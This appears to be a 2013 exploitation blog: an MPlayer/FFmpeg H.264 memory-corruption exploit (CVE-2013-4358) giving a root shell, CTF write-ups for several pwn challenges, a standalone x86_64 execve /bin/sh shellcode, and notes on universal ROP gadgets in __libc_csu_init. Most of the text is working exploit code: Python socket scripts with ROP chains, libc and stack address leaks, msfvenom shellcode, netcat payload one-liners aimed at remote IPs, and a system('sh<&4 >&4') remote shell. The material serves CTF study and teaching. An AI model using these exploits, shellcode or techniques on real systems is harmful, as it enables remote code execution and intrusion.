Timeline of Bug:
August 18    - Bug report along with PoC to Mplayer
August 24    - FFmpeg notified about the issue
August 25    - Bug confirmed in FFmpeg H.264 code leading to memory corruption, patches were applied
September 14 - Request for CVE
September 17 - CVE-2013-4358 assigned 
Exploit:
I wrote a PoC exploit from the point of crash, with the mutated file. Understanding of H.264 will give better and reliable attack vectors for the bug. Here is the idea to exploit the bug with ASLR and NX disabled. Yes, its easy without memory protection

[*] Make RAX point to an address [address_to_dereference - 0x18] that we would like to dereference
[*] At [address_to_dereference + 0x18] place the address of shellcode to execute

I'm not going into much details. Here is the final payload
[ctf@renorobert Test]$ mplayer exploit_final.m2ts 
MPlayer 1.1-4.4.4 (C) 2000-2012 MPlayer Team

Playing exploit_final.m2ts.
libavformat version 54.6.100 (internal)
TS file format detected.
VIDEO H264(pid=4113) AUDIO A52(pid=4352) NO SUBS (yet)!  PROGRAM N. 1
FPS seems to be: 24.000000
Load subtitles in ./
==========================================================================
Opening video decoder: [ffmpeg] FFmpeg's libavcodec codec family
libavcodec version 54.23.100 (internal)
Selected video codec: [ffh264] vfm: ffmpeg (FFmpeg H.264)
==========================================================================
==========================================================================
Opening audio decoder: [ffmpeg] FFmpeg/libavcodec audio decoders
AUDIO: 48000 Hz, 2 ch, s16le, 640.0 kbit/41.67% (ratio: 80000->192000)
Selected audio codec: [ffac3] afm: ffmpeg (FFmpeg AC-3)
==========================================================================
[AO OSS] audio_setup: Can't open audio device /dev/dsp: No such file or directory
AO: [alsa] 48000Hz 2ch s16le (2 bytes per sample)
Starting playback...
Unsupported PixelFormat 61
Unsupported PixelFormat 53
Unsupported PixelFormat 81
Movie-Aspect is 1.78:1 - prescaling to correct movie aspect.
VO: [x11] 1920x1080 => 1920x1080 Planar YV12 
[swscaler @ 0xdbab00]using unscaled yuv420p -> bgra special converter
A: 602.4 V: 602.4 A-V:  0.024 ct: -0.063  58/ 58 38% 10%  2.2% 0 0 
[ac3 @ 0xcf2320]frame CRC mismatch
A: 602.5 V: 602.5 A-V:  0.012 ct: -0.062  59/ 59 38% 10%  2.2% 0 0 
[ac3 @ 0xcf2320]frame sync error
A: 602.5 V: 602.5 A-V:  0.011 ct: -0.061  60/ 60 38%  9%  2.2% 0 0 
[ac3 @ 0xcf2320]frame CRC mismatch
A: 602.6 V: 602.6 A-V: -0.032 ct: -0.064  61/ 61 37%  9%  2.2% 0 0 
[ac3 @ 0xcf2320]frame CRC mismatch
A: 602.6 V: 602.5 A-V:  0.056 ct: -0.060  62/ 62 37%  9%  2.1% 0 0 
[ac3 @ 0xcf2320]frame CRC mismatch
A: 602.6 V: 602.6 A-V:  0.009 ct: -0.059  63/ 63 37%  9%  2.1% 0 0 
[ac3 @ 0xcf2320]frame CRC mismatch
A: 602.7 V: 602.7 A-V: -0.002 ct: -0.059  64/ 64 37%  9%  2.1% 0 0 
[ac3 @ 0xcf2320]frame CRC mismatch
A: 602.5 V: 602.7 A-V: -0.182 ct: -0.063  65/ 65 36%  9%  2.1% 0 0 
[ac3 @ 0xcf2320]frame CRC mismatch
A: 602.9 V: 602.8 A-V:  0.067 ct: -0.059  66/ 66 36%  9%  2.0% 0 0 
[ac3 @ 0xcf2320]frame sync error
A: 602.9 V: 602.8 A-V:  0.155 ct: -0.055  67/ 67 36% 10%  2.0% 0 0 
######################################################################################
[h264 @ 0xcf2320]Missing reference picture, default is 65648
[h264 @ 0xcf2320]Missing reference picture, default is 65648
[h264 @ 0xcf2320]error while decoding MB 67 8, bytestream (-5)
[h264 @ 0xcf2320]concealing 7182 DC, 7182 AC, 7182 MV errors
A: 604.7 V: 604.1 A-V:  0.638 ct:  0.066  96/ 96 41% 12%  1.5% 0 0 
[ac3 @ 0xcf2320]frame sync error
[h264 @ 0xcf2320]Missing reference picture, default is 65650
[h264 @ 0xcf2320]error while decoding MB 17 8, bytestream (-6)
[h264 @ 0xcf2320]insane cropping not completely supported, this could look slightly wrong ... (left: 2, top: 6)
[h264 @ 0xcf2320]number of reference frames (0+3) exceeds max (1; probably corrupt input), discarding one
[h264 @ 0xcf2320]concealing 7232 DC, 7232 AC, 7232 MV errors
Dropping frame with size not matching configured size
A: 604.7 V: 604.1 A-V:  0.624 ct:  0.070  97/ 97 41% 11%  1.5% 0 0 
[ac3 @ 0xcf2320]frame CRC mismatch
[ac3 @ 0xcf2320]frame sync error
[ac3 @ 0xcf2320]frame CRC mismatch
[h264 @ 0xcf2320]Missing reference picture, default is 65652
[h264 @ 0xcf2320]error while decoding MB 42 8, bytestream (-10)
[h264 @ 0xcf2320]concealing 7207 DC, 7207 AC, 7207 MV errors
sh-4.1# 
I got code execution and dropped into shell. Bypassing NX and ASLR will take little more hard work.

Monday, August 12, 2013

ctf.wargame.vn - Pwn 300

For pwn300 challenge we were given a 32-bit ELF executable with NX enabled. Analysing the binary we have the following information

First recv() call
[*] recv(fd, &s, 40, 0) is called, execution continues if strlen(&s) <= 24
[*] if strlen() succeeds, strcpy(&v14, &s) is called
[*] memset(&s, 0, 40) is called to clear the buffer

Its possible to send 40 bytes in recv() call by using NUL byte after 24th byte, but memset() clears this memory

Second recv() call
[*] recv(fd, &buf, 4, 0) is called, this 4 bytes is assigned to another memory location

Third recv() call, which is similar to first call
[*] recv(fd, &s, 40, 0) is called, execution continues if strlen(&s) <= 24
[*] if strlen() succeeds, strcpy(&v13, &s) is called
[*] memset(&s, 0, 40) is called to clear the buffer

Fourth recv() call
[*] We can reach the fourth recv() call if strcmp(&v13, &v14) == 0
[*] After recv(), strcpy(&v14 + 32, &s) is called
[*] There is a function pointer v15 at [ebp-0x44], &v14 + 32 points to ebp-0x50. So strcpy() call overwrites function pointer, giving control of EIP
#!/usr/bin/env python

import socket
import struct
import time

ip = "127.0.0.1"
#ip = "42.117.7.116"

port = 1337
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))

soc.send("A"*24)
time.sleep(0.5)

soc.send("B"*4)
time.sleep(0.5)

soc.send("A"*24)
time.sleep(0.5)

soc.send("A"*24)
time.sleep(0.5)

soc.send("C"*36)
This is how the memory looked like during crash.
gdb-peda$ info registers 
eax            0x43434343 0x43434343
ecx            0x0 0x0
edx            0x25 0x25
ebx            0xffffd10c 0xffffd10c
esp            0xffffd0cc 0xffffd0cc
ebp            0xffffd1a8 0xffffd1a8
esi            0x0 0x0
edi            0x0 0x0
eip            0x43434343 0x43434343
eflags         0x10246 [ PF ZF IF RF ]
cs             0x23 0x23
ss             0x2b 0x2b
ds             0x2b 0x2b
es             0x2b 0x2b
fs             0x0 0x0
gs             0x63 0x63

gdb-peda$ x/50x $esp
0xffffd0cc: 0x08048bdc 0xffffd138 0xffffd168 0x00000028
0xffffd0dc: 0x00000000 0x42424242 0xffffd138 0x01ffd138
0xffffd0ec: 0xffffd144 0x41414141 0x41414141 0x41414141
0xffffd0fc: 0x41414141 0x41414141 0x41414141 0x00000000
0xffffd10c: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd11c: 0x41414141 0x41414141 0x03df6100 0x08048430
0xffffd12c: 0x00273dd0 0x0017bba4 0x08048864 0x42424242
0xffffd13c: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd14c: 0x41414141 0x41414141 0x00000000 0x43434343
0xffffd15c: 0x43434343 0x43434343 0x43434343 0x43434343
0xffffd16c: 0x43434343 0x08048864 0x43434343 0x43434343
0xffffd17c: 0x43434300 0x08048864 0x43434343 0x43434343
0xffffd18c: 0x00000000 0x6e6f4320
The user input is spread out in stack. We need to point ESP to user controlled memory, to perform ROP.
0x08048f59: add esp, 0x1C ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
I used the above gadget to point ESP to user controlled buffer by overwriting function pointer with 0x8048f59. This is how the memory looked like after shifting the stack
soc.send(struct.pack("<I", 0x08048f59)*9
gdb-peda$ info registers 
eax            0x8048f59 0x8048f59
ecx            0x0 0x0
edx            0x25 0x25
ebx            0x1ffd138 0x1ffd138
esp            0xffffd0fc 0xffffd0fc
ebp            0x41414141 0x41414141
esi            0xffffd144 0xffffd144
edi            0x41414141 0x41414141
eip            0x41414141 0x41414141
eflags         0x10296 [ PF AF SF IF RF ]
cs             0x23 0x23
ss             0x2b 0x2b
ds             0x2b 0x2b
es             0x2b 0x2b
fs             0x0 0x0
gs             0x63 0x63
gdb-peda$ x/50wx $esp
0xffffd0fc: 0x41414141 0x41414141 0x41414141 0x00000000
0xffffd10c: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd11c: 0x41414141 0x41414141 0x03df6100 0x08048430
0xffffd12c: 0x00273dd0 0x0017bba4 0x08048864 0x42424242
0xffffd13c: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd14c: 0x41414141 0x41414141 0x00000000 0x08048f59
0xffffd15c: 0x08048f59 0x08048f59 0x08048f59 0x08048f59
0xffffd16c: 0x08048f59 0x08048864 0x08048f59 0x08048f59
0xffffd17c: 0x08048f00 0x08048864 0x08048f59 0x08048f59
0xffffd18c: 0x00000000 0x6e6f4320 0x63696c66 0x000a2074
0xffffd19c: 0xbab92437 0x003f7ff4 0x003f7ff4 0xffffd318
0xffffd1ac: 0x08048d84 0x00000008 0xffffd2fc 0xffffd1d8
0xffffd1bc: 0x001c8594 0x00266c18
Information leak to get libc address:

strcpy() doesn't allow use of NUL bytes. To perform ret-2-libc, I need information leak. But chaining gadgets was difficult as I couldn't pass function parameters due to NUL byte restriction. handle() function had an intersting sequence of instruction to call send()
.text:08048A17                 mov     eax, [ebp+fd]
.text:08048A1A                 mov     [esp], eax      ; fd
.text:08048A1D                 call    _send
Now to take advantage of this, we need to setup a few things

[*] fd value needs to be 0x4
[*] [ebp+fd] should point to 0x4. We have a pop ebp in the gadget 0x8048f59
[*] pop a value into ebp such that ebp+0x8 points to 0x4
gdb-peda$ x/x 0x08048050
0x8048050: 0x00000004
We can pop address 0x08048048 into ebp, so that [ebp+8] points to 0x4, which is our socket descriptor. Entire exploitation thrives on information leak using the above described gadgets. Since fork() is called, the address layout doesnt change when new child is spawned
First idea was to leak the GOT entry of __libc_start_main to find the randomized address of libc. With information leak, I found that my local copy of libc matched with the remote libc version. So I can compute offsets with accuracy
#!/usr/bin/env python

import socket
import struct
import time

ip = "127.0.0.1"
ip = "42.117.7.116"

port = 1337
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))

got_libc_start_main = 0x0804b018
offset_libc_start_main = 0x193e0
offset_system = 0x3f430
offset_program_invocation_name = 0x1a58a0

soc.send("A"*24)
time.sleep(0.5)

soc.send("B"*4)
time.sleep(0.5)

soc.send(struct.pack("<I",0x8048048)*2 + struct.pack("<I",0x08048A17) + struct.pack("<I", got_libc_start_main)*3)
time.sleep(0.5)

soc.send("A"*24)
time.sleep(0.5)

soc.send(struct.pack("<I", 0x08048f59)*4 + "C"*23)
soc.recv(1024)
time.sleep(0.5)
addr = struct.unpack("<I",soc.recv(4))[0]
print "__libc_start_main: ", hex(addr)
base = addr - offset_libc_start_main

print "Base addr: ",hex(base)
print "System addr: ",hex(base + offset_system)
print "program_invocation_name: ",hex(base + offset_program_invocation_name)
[ctf@renorobert Mario CTF]$ python leak300.py 
__libc_start_main:  0xf74ba3e0
Base addr:  0xf74a1000
System addr:  0xf74e0430
program_invocation_name:  0xf76468a0
Leaking random address of stack:

With libc address found, my idea was to call system('/bin/sh'). But that wasn't enough, we need dup2(). I decided to pass "sh<&4 >&4" as parameter to system(). But first, we need to locate the address of string in stack. After analysing libc I found that program_invocation_name holds the random stack address. We already computed the address of program_invocation_name. Now lets leak the data in it.
#!/usr/bin/env python

import socket
import struct
import time

ip = "127.0.0.1"
ip = "42.117.7.116"

port = 1337
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))

soc.send("A"*24)
time.sleep(0.5)

soc.send("B"*4)
time.sleep(0.5)

soc.send(struct.pack("<I",0x8048048)*2 + struct.pack("<I",0x08048A17) + struct.pack("<I",0xf76468a0)*3)
time.sleep(0.5)

soc.send("A"*24)
time.sleep(0.5)

soc.send(struct.pack("<I", 0x08048f59)*4 + "C"*23)
soc.recv(1024)
time.sleep(0.5)
print "Stack addr: ", hex(struct.unpack("<I",(soc.recv(256)[:4]))[0])
[ctf@renorobert Mario CTF]$ python leak300_stack.py 
Stack addr:  0xff94f3dd
So now we have the random stack address. Next we have to find the exact address of user string in stack memory

Finding address of string in stack:

Well, information leak again. We are going to read stack using the same set of gadgets to find the string.
soc.send(struct.pack("<I",0x08048048)*2 + struct.pack("<I",0x08048A17) + struct.pack("<I",0xff94f3dd)*3)
[ctf@renorobert Mario CTF]$ python leak300_stack_memory.py 
'pwn2\x00SHELL=/home/pwn2/pwn2\x00TERM=screen\x00USER=pwn2\x00LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lz=01;31:*.xz=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.axv=01;35:*.anx=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.axa=00;36:*.oga=00;36:*.spx=00;36:*.xspf=00;36:\x00SUDO_USER=vnsec\x00SUDO_UID=1000\x00TERMCAP=SC|screen|VT 100/ANSI X3.64 virtual terminal'
By changing address, I read the stack memory and finally found the location of string at 0xff94e0ac
[ctf@renorobert Mario CTF]$ python leak300_stack_memory.py 
'AAAAAAAAAAAAAAAAAAAAAAAA\x00/v\xf7\x189v\xf7\x01\x00\x00\x00\x00\x00\x00\x00d\x88\x04\x08BBBBAAAAAAAAAAAAAAAAAAAAAAAA\x00\x00\x00\x00Y\x8f\x04\x08Y\x8f\x04\x08Y\x8f\x04\x08Y\x8f\x04\x08CCCCCCCCd\x88\x04\x08CCCCCCCCCCC\x00d\x88\x04\x08CCCCCCCCCCC\x00 Conflict \n\x00\x00UI\x9f\xf4_d\xf7\xf4_d\xf7'
Final exploit:

Now we have all the address needed to read flag. Below is the final exploit
#!/usr/bin/env python

import socket
import struct
import time

ip = "127.0.0.1"
ip = "42.117.7.116"

port = 1337
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))
comm = "               sh<&4 >&4"

soc.send(comm)
time.sleep(0.5)

soc.send("B"*4)
time.sleep(0.5)

soc.send(struct.pack("<I",0x08048048)*2 + struct.pack("<I",0xf74e0430) + struct.pack("<I",0xff94e0ac)*3)
time.sleep(0.5)

soc.send(comm)
time.sleep(0.5)

soc.recv(1024)
soc.send(struct.pack("<I", 0x08048f59)*4 + "C"*23)
time.sleep(1)

soc.send("cat /home/pwn2/flag\n")
print repr(soc.recv(2048))
The flag for the challenge is mario_is_the_best_hacker_in_the_world

There are few globals in libc, which holds random address of stack and heap. Some globals that hold stack address are program_invocation_name, program_invocation_short_name and environ. More information in man program_invocation_name. __curbrk keeps track of heap address. It holds the address passed to brk() system call as the heap grows. Reading its value will give the random address of heap

ctf.wargame.vn - Pwn 100

Pwn 100 is a 64-bit ELF executable. The binary is simple, first it reads 8 bytes from user and passes it as address argument for mprotect() function call. Address has to be page aligned
.text:0000000000400890                 lea     rsi, [rbp+buf]  ; buf
.text:0000000000400894                 mov     eax, [rbp+fd]
.text:0000000000400897                 mov     ecx, 0          ; flags
.text:000000000040089C                 mov     edx, 8          ; n
.text:00000000004008A1                 mov     edi, eax        ; fd
.text:00000000004008A3                 call    _recv
.text:00000000004008A8                 mov     rax, [rbp+buf]
.text:00000000004008AC                 mov     edx, 7          ; prot
.text:00000000004008B1                 mov     esi, 400h       ; len
.text:00000000004008B6                 mov     rdi, rax        ; addr
.text:00000000004008B9                 call    _mprotect
Then, the binary receives 4 bytes of input using recv(4, buf, 4), then makes a call to buf using CALL RCX
.text:00000000004009DB                 mov     rax, [rbp+buf]
.text:00000000004009DF                 add     rax, 0FBh
.text:00000000004009E5                 mov     rsi, rax        ; buf
.text:00000000004009E8                 mov     eax, [rbp+fd]
.text:00000000004009EB                 mov     ecx, 0          ; flags
.text:00000000004009F0                 mov     edx, 4          ; n
.text:00000000004009F5                 mov     edi, eax        ; fd
.text:00000000004009F7                 call    _recv
.text:00000000004009FC                 mov     rax, [rbp+buf]
.text:0000000000400A00                 add     rax, 0FBh
.text:0000000000400A06                 mov     [rbp+var_8], rax
.text:0000000000400A0A                 mov     rdx, cs:FLAG
.text:0000000000400A11                 mov     eax, [rbp+fd]
.text:0000000000400A14                 mov     rcx, [rbp+var_8]
.text:0000000000400A18                 mov     rsi, rdx
.text:0000000000400A1B                 mov     edi, eax
.text:0000000000400A1D                 call    rcx
First we pass 0x0000000000400000 as address to mprotect(0x400000, 1024, 7). The we can pass 4 bytes of shellcode. The following input was passed to the executable
echo -ne '\x00\x00\x40\x00\x00\x00\x00\x00AAAA' | nc 127.0.0.1 4001
Below is the state of the program during the crash, viewed inside gdb.
RAX: 0x8 
RBX: 0x0 
RCX: 0x4000fb 
RDX: 0x400cac ("MARIO_", 'x' <repeats 18 times>)
RSI: 0x400cac ("MARIO_", 'x' <repeats 18 times>)
RDI: 0x8 
RIP: 0x4000fb

gdb-peda$ x/8x 0x4000fb
0x4000fb: 0x41 0x41 0x41 0x41 0x00 0x28 0x1e 0x60
We can observe a few things

[*] RIP is pointing to 0x4000fb
[*] RSI is pointing to 0x400cac, which looks like the buffer address of flag
[*] RAX is having the socket descriptor value

There is a f_shellcode(), with the following sequence to call send()
.text:000000000040082A                 mov     ecx, 0          ; flags
.text:000000000040082F                 mov     edx, 14h        ; n
.text:0000000000400834                 mov     edi, eax        ; fd
.text:0000000000400836                 call    _send
.text:000000000040083B                 leave
.text:000000000040083C                 retn
Since we have the registers already loaded, I tried reading the flag by jumping to the address of send() sequence. Here is the idea of shellcode

[*] Compute offset difference between current RIP and 0x40082A
[*] Perform a jump
>>> hex(0x40082A- 0x4000fb)
'0x72f'
nasm > jmp 0x72f
00000000  E92A070000        jmp dword 0x72f
So the final payload is
echo -ne '\x00\x00\x40\x00\x00\x00\x00\x00\xe9\x2a\x07\x00' | nc 42.117.7.116 4001
And I got the flag in reply, which is MARIO_PWN_THIS_FLAG

Tuesday, August 6, 2013

Stdin reopen & execve /bin/sh shellcode for Linux/x86_64

Wrote a Linux/x86_64 shellcode for stdin reopen during free time, as I couldn't find one easily. Total 57 bytes
/* gcc -z execstack -o shell shell.c */
/* stdin reopen & execve /bin/sh shellcode for Linux/x86_64 */

/* 
   0x600880 <code>:    xor    rax,rax
   0x600883 <code+3>:  push   rax
   0x600884 <code+4>:  pop    rdi
   0x600885 <code+5>:  mov    al,0x3
   0x600887 <code+7>:  syscall   ; close(0)
   0x600889 <code+9>:  push   rax
   0x60088a <code+10>: movabs rdi,0x7974742f7665642f
   0x600894 <code+20>: push   rdi
   0x600895 <code+21>: push   rsp
   0x600896 <code+22>: pop    rdi
   0x600897 <code+23>: push   rax
   0x600898 <code+24>: pop    rsi
   0x600899 <code+25>: mov    si,0x2702
   0x60089d <code+29>: mov    al,0x2
   0x60089f <code+31>: syscall ; open("/dev/tty", O_RDWR|O_NOCTTY|O_TRUNC|O_APPEND|O_ASYNC)
   0x6008a1 <code+33>: push   rax
   0x6008a2 <code+34>: movabs rdi,0x68732f2f6e69622f
   0x6008ac <code+44>: push   rdi
   0x6008ad <code+45>: push   rsp
   0x6008ae <code+46>: pop    rdi
   0x6008af <code+47>: push   rax
   0x6008b0 <code+48>: push   rdi
   0x6008b1 <code+49>: push   rsp
   0x6008b2 <code+50>: pop    rsi
   0x6008b3 <code+51>: cqo    
   0x6008b5 <code+53>: mov    al,0x3b
   0x6008b7 <code+55>: syscall   ; execve("/bin//sh", ["/bin//sh"], NULL)
*/

char code[] = 
"\x48\x31\xc0\x50\x5f\xb0\x03\x0f\x05"
"\x50\x48\xbf\x2f\x64\x65\x76\x2f\x74\x74\x79\x57\x54\x5f\x50\x5e\x66\xbe\x02\x27\xb0\x02\x0f\x05"
"\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x50\x57\x54\x5e\x48\x99\xb0\x3b\x0f\x05";

void main(void) {
    void (*f)() = (void(*)())code;
    f();
}

Sunday, August 4, 2013

EBCTF 2013 Finals - pwn 300 - [Team SegFault]

Myself and Xelenonz worked on this challenge. Xelenonz found critical details about the challenge. He managed to take control of saved EIP in read_from_client() function. Below is the details about it
ascii_to_bin("abcdef",&str) => str = 0xabcdef
ascii_to_bin("deadbeef",&str) => str = 0xdeadbeef

echo `perl -e 'print "A"x72,"41"x4,"42"x4,"a8c00408","\r\n"'` | nc 127.0.0.1 7070
ret => 0x41414141
str is 0x20 bytes away from EBP. In ascii_to_bin(), we can see
*(_BYTE *)(i + str) = v2 | n_to_i(buf[2 * i + 1]);
This eventually leads to the vulnerability, as i value increases in loop, *(_BYTE *)(i + str) goes past allocated buffer in read_from_client(). Once this was found, we started building our exploit on top of this. Below is the idea of exploit

[*] Leak address of __libc_start_main from GOT using send()
[*] Return into read() to copy stage 2 payload into .data section
[*] Shift stack into .data section using leave; ret gadget
[*] Shifted stack has gadgets to return into mmap(), allocate a new memory with RWX
[*] Return into read() to copy shellcode into mmap()'ed region
[*] Jump into the starting address of mmap()'ed region

Leaked address of __libc_start_main was found to be 0xf76303e0. The __libc_start_main offset in my ubuntu VM was 0x193e0. Now
>>> hex(0xf76303e0 - 0x193e0)
'0xf7617000'
This very much looked like base address of libc. So we used address offsets from this libc and it worked. Below is the full exploit
#!/usr/bin/env python

import socket
import struct
import time

ip = '127.0.0.1'
ip = '54.217.15.93'
port = 7070

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))

# msfvenom
shell = ( "\xbb\x3e\xa8\x55\xd1\xdb\xdb\xd9\x74\x24\xf4\x5a\x33\xc9" +
          "\xb1\x0f\x31\x5a\x12\x83\xc2\x04\x03\x64\xa6\xb7\x24\xf2" +
          "\xbd\x6f\x5e\x50\xa4\xe7\x4d\x37\xa1\x1f\xe5\x98\xc2\xb7" +
          "\xf6\x8e\x0b\x2a\x9e\x20\xdd\x49\x32\x54\xc8\x8d\xb3\xa4" +
          "\xdc\xef\xda\xca\x0d\x83\x74\x32\x7f\x00\xa5\x41\x17\xfa" +
          "\x83\x91\xc7\x3c\xea\xed\x07\x16\xa1\x84\xe9\x55\xc5" )


payload  = "A"*72
payload += "938d0408" # pop2ret
payload += "41414141" #
payload += "00a00408" # need to be valid address
payload += "208a0408" # send(4,__libc_start_main,0x4,0) @ PLT
payload += "dca70408" # pop ebx ; pop esi ; pop edi ; pop ebp ; ret
payload += "04000000" # fd
payload += "64c00408" # buf
payload += "04000000" # size
payload += "00000000" # flag
payload += "c0870408" # read @ PLT
payload += "dca70408" # pop ebx ; pop esi ; pop edi ; pop ebp ; ret
payload += "04000000" # fd
payload += "c0c00408" # .data
payload += "00040000" # size
payload += "c0c00408" # .data
payload += "898a0408" # leave, ret; stack shifting 
payload += "\r\n"

soc.send(payload)
addr = struct.unpack("<I",(soc.recv(1024)))[0] # address leak
print hex(addr)

# stage 2

payload  = struct.pack("<I", 0x0804c0c0)     # .data
payload += struct.pack("<I", addr+(0xd1d00)) # mmap
payload += struct.pack("<I", 0x08048d90)     # add esp, 0x14 ; pop ebx ; pop ebp
payload += struct.pack("<I", 0xbadc000)      # address
payload += struct.pack("<I", 1024)           # size
payload += struct.pack("<I", 7)              # permission
payload += struct.pack("<I", 34)
payload += struct.pack("<I", 0x00)
payload += struct.pack("<I", 0x00)
payload += "MOVE"
payload += struct.pack("<I", 0x080487c0)     # read @ PLT
payload += struct.pack("<I", 0xbadc000)      # ret address
payload += struct.pack("<I", 0x4)            # fd
payload += struct.pack("<I", 0xbadc000)      # address
payload += struct.pack("<I", 1024)           # size

soc.send(payload + "\n")
time.sleep(1)

# stage 3
soc.send(shell+"\n")
soc.send("cat goproot/FLAG\n")
print soc.recv(1024)
Here is the flag for the challenge : ebCTF{35a6673b2243c925e02e85dfa916036f}

Monday, July 29, 2013

Some universal gadget sequence for Linux x86_64 ROP payload

Unlike x86, x86_64 ROP payload needs the parameters to function call in registers. __libc_csu_init functions provides a few nice gadgets to load data into certain critical registers. Most importantly EDI, RSI and RDX. This is the sample code:
// gcc -O3 -o rop rop.c
#include <unistd.h>

int main(void) {
    char buf[64];
    read(0, buf, 2048);
    return 0;
}
The code was compiled with gcc 4.8.0. Looking into the binary we can see the default functions
_init
_start
call_gmon_start
deregister_tm_clones
register_tm_clones
__do_global_dtors_aux
frame_dummy
__libc_csu_init
__libc_csu_fini
_fini
Below is the disassembly of __libc_csu_init
Dump of assembler code for function __libc_csu_init:
   0x0000000000401830 <+0>: mov    QWORD PTR [rsp-0x28],rbp
   0x0000000000401835 <+5>: mov    QWORD PTR [rsp-0x20],r12
   0x000000000040183a <+10>: lea    rbp,[rip+0x2007c7]        # 0x602008
   0x0000000000401841 <+17>: lea    r12,[rip+0x2007b8]        # 0x602000
   0x0000000000401848 <+24>: mov    QWORD PTR [rsp-0x30],rbx
   0x000000000040184d <+29>: mov    QWORD PTR [rsp-0x18],r13
   0x0000000000401852 <+34>: mov    QWORD PTR [rsp-0x10],r14
   0x0000000000401857 <+39>: mov    QWORD PTR [rsp-0x8],r15
   0x000000000040185c <+44>: sub    rsp,0x38
   0x0000000000401860 <+48>: sub    rbp,r12
   0x0000000000401863 <+51>: mov    r15d,edi
   0x0000000000401866 <+54>: mov    r14,rsi
   0x0000000000401869 <+57>: sar    rbp,0x3
   0x000000000040186d <+61>: mov    r13,rdx
   0x0000000000401870 <+64>: xor    ebx,ebx
   0x0000000000401872 <+66>: call   0x400708 <_init>
   0x0000000000401877 <+71>: test   rbp,rbp
   0x000000000040187a <+74>: je     0x401896 <__libc_csu_init+102>
   0x000000000040187c <+76>: nop    DWORD PTR [rax+0x0]
   0x0000000000401880 <+80>: mov    rdx,r13
   0x0000000000401883 <+83>: mov    rsi,r14
   0x0000000000401886 <+86>: mov    edi,r15d
   0x0000000000401889 <+89>: call   QWORD PTR [r12+rbx*8]
   0x000000000040188d <+93>: add    rbx,0x1
   0x0000000000401891 <+97>: cmp    rbx,rbp
   0x0000000000401894 <+100>: jne    0x401880 <__libc_csu_init+80>
   0x0000000000401896 <+102>: mov    rbx,QWORD PTR [rsp+0x8]
   0x000000000040189b <+107>: mov    rbp,QWORD PTR [rsp+0x10]
   0x00000000004018a0 <+112>: mov    r12,QWORD PTR [rsp+0x18]
   0x00000000004018a5 <+117>: mov    r13,QWORD PTR [rsp+0x20]
   0x00000000004018aa <+122>: mov    r14,QWORD PTR [rsp+0x28]
   0x00000000004018af <+127>: mov    r15,QWORD PTR [rsp+0x30]
   0x00000000004018b4 <+132>: add    rsp,0x38
   0x00000000004018b8 <+136>: ret 
Controlling registers EDI and ESI:

Unaligned instrutions right at the bottom of the __libc_csu_init provides us with gadgets to load EDI and ESI
gdb-peda$ x/4i 0x00000000004018ab
   0x4018ab <__libc_csu_init+123>: mov    esi,DWORD PTR [rsp+0x28]
   0x4018af <__libc_csu_init+127>: mov    r15,QWORD PTR [rsp+0x30]
   0x4018b4 <__libc_csu_init+132>: add    rsp,0x38
   0x4018b8 <__libc_csu_init+136>: ret 
gdb-peda$ x/3i 0x00000000004018b0
   0x4018b0 <__libc_csu_init+128>: mov    edi,DWORD PTR [rsp+0x30]
   0x4018b4 <__libc_csu_init+132>: add    rsp,0x38
   0x4018b8 <__libc_csu_init+136>: ret 
These gadgets give us some control over EDI and ESI which makes up the first 2 parameters for making function call

Controlling registers EDI, RSI and RDX:

The 3rd parameter for function call is loaded into RDX, __libc_csu_init has the gadget to load RDX, but there are few other things we have to control
   0x0000000000401889 <+89>: call   QWORD PTR [r12+rbx*8]
   0x000000000040188d <+93>: add    rbx,0x1
   0x0000000000401891 <+97>: cmp    rbx,rbp
   0x0000000000401894 <+100>: jne    0x401880 <__libc_csu_init+80>
To effectively use mov rdx,r13 , we have to ensure that call QWORD PTR [r12+rbx*8] doesn't SIGSEGV, cmp rbx,rbp equals and most importantly value of RDX is not altered.
In _DYNAMIC variable ie. .dynamic section of executable we can find pointers to _init and _fini section
